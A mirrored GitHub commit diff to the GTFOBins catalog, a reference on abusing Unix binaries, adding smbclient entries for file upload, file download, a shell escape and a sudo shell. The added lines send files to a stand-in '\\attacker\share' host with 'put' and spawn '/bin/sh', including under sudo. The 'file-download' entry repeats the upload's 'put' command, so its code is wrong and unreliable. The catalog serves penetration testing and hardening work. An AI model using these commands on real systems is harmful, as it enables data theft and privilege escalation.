mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add smbclient upload and download
This commit is contained in:
parent
aef9c84b02
commit
fec4b52281
@ -3,10 +3,18 @@ description: A valid SMB/CIFS server must be available.
|
|||||||
functions:
|
functions:
|
||||||
shell:
|
shell:
|
||||||
- code: |
|
- code: |
|
||||||
smbclient \\ip\share
|
smbclient '\\attacker\share'
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
|
file-upload:
|
||||||
|
- description: Install [Impacket](https://github.com/SecureAuthCorp/impacket) and run `sudo smbserver.py share /tmp` on the attacker box to collect the file.
|
||||||
|
code: |
|
||||||
|
smbclient '\\attacker\share' -c 'put file_to_send where_to_save'
|
||||||
|
file-download:
|
||||||
|
- description: Install [Impacket](https://github.com/SecureAuthCorp/impacket) and run `sudo smbserver.py share /tmp` on the attacker box to send the file.
|
||||||
|
code: |
|
||||||
|
smbclient '\\attacker\share' -c 'put file_to_send where_to_save'
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
sudo smbclient \\ip\share
|
sudo smbclient '\\attacker\share'
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user